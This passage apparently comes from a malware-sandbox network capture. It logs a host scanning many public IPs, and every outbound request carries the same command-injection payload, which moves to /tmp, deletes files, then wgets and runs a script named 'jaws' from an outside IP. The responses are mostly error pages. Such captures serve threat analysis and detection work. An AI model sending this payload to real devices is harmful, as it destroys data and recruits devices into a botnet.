6c 65 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 66 6f 6c 6c 6f 77 2c 20 6e 6f 69 6e 64 65 78 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 65 72 72 6f 72 73 2f 69 6e 63 2f 65 72 72 6f 72 64 6f 63 73 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 65 72 72 6f 72 73 2f 69 6e 63 2f 65 72 72 6f 72 64 6f 63 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 7a 68 22 3e 0a 09 09 09 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 09 09 09 09 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 21 3c 2f 68 32 3e 0a 09 09 09 09 3c 62 72 20 2f 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 70 61 74 68 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 67 65 74 5f 70 61 74 68 28 29 29 3b 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 68 33 3e 5a 65 66 69 78 2e 2e 2e 21 20 4e 69 78 20 67 66 75 6e 64 6e 21 3c 2f 68 33 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>ispCP OMEGA - Error 404</title><meta name="robots" content="nofollow, noindex" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><script src="/errors/inc/errordocs.js" type="text/javascript"></script><link href="/errors/inc/errordocs.css" rel="stylesheet" type="text/css" /></head><body><div id="zh"><div id="content"><h2>Error 404!</h2><br /><span class="path"><script type="text/javascript"> document.write(get_path()); </script></span><h3>Zefix...! Nix gfundn!</h3></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.23	56836	51.210.89.53	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:38.038523912 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:38.294549942 CET	506	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 312 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 69 70 35 39 2e 69 70 2d 35 31 2d 32 31 30 2d 38 39 2e 65 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at ip59.ip-51-210-89.eu Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.23	48318	18.164.18.33	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:38.054989100 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:38.328437090 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Tue, 02 Jan 2024 05:25:38 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.23	58652	94.152.11.208	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:38.297923088 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.23	41074	154.12.30.83	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:38.407130003 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:38.711067915 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:25:42 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Jan 2, 2024 06:25:38.965141058 CET	13	IN	Data Raw: 3e Data Ascii: >

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.23	32888	18.154.143.217	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:38.870167017 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:39.020037889 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Tue, 02 Jan 2024 05:25:38 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.23	47106	194.8.215.90	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:39.116050959 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:39.362153053 CET	758	IN	HTTP/1.0 307 Temporary Redirect Date: Tue, 02 Jan 2024 05:25:39 GMT Server: xxxxxxxx-xxxxx Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+;wget+ Connection: close Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self'; object-src 'self'; script-src 'self' https: 'unsafe-eval' 'unsafe-inline' blob:; X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 33 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 22 3e 68 65 72 65 3c 2f 41 3e 2e 3c 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>307 Temporary Redirect</TITLE></HEAD><BODY><H1>Temporary Redirect</H1>The document has moved <A HREF="https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+;wget+">here</A>.<P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.23	50156	81.45.23.215	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:39.133512974 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:39.396606922 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Tue, 02 Jan 2024 05:25:26 GMT Server: lighttpd/1.4.41 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.23	49008	178.159.46.91	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:39.173695087 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:39.477005005 CET	1286	IN	HTTP/1.1 404 Not Found Server: nginx/1.10.2 Date: Tue, 02 Jan 2024 05:25:37 GMT Content-Type: text/html Content-Length: 3650 Connection: keep-alive ETag: "59bf8f7f-e42" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 39 34 31 37 32 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 37 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 30 30 30 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /<![CDATA[/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #294172; color: #fff; font-weight: normal; font-size: 1.75em; border-bottom: 2px solid #000
Jan 2, 2024 06:25:39.477018118 CET	1286	IN	Data Raw: 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 Data Ascii: ; } h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center; background-color: #3C6EB4; font-siz
Jan 2, 2024 06:25:39.477029085 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 33 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 33 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: <h3>The page you are looking for is not found.</h3> <div class="alert"> <h2>Website Administrator</h2> <div class="content"> <p>Something has triggered missing webpag
Jan 2, 2024 06:25:39.477039099 CET	18	IN	Data Raw: 68 74 6d 6c 3e 0a Data Ascii: html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.23	38962	44.215.139.228	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.024127960 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:42.181484938 CET	262	IN	HTTP/1.1 301 Moved Permanently Server: Server Date: Tue, 02 Jan 2024 05:25:42 GMT Content-Type: text/html Content-Length: 163 Connection: keep-alive Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+ 157.90.250.90/jaws;sh+/tmp/jaws
Jan 2, 2024 06:25:42.181713104 CET	175	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>Server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.23	57174	211.149.152.37	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.230065107 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:44.098109007 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:44.461208105 CET	195	IN	HTTP/1.1 302 Object moved Server: infosec/1.0.0 Location: http://stopinfo.vhostgo.com/info5.html?data=127.0.0.1 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 0
Jan 2, 2024 06:25:44.461654902 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Tue, 02 Jan 2024 05:25:44 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.23	35316	35.183.50.139	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.350383997 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.23	37722	43.192.122.65	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:42.403228998 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:42.782346964 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Tue, 02 Jan 2024 05:25:42 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.23	39926	195.210.122.206	80

Timestamp	Bytes transferred	Direction	Data
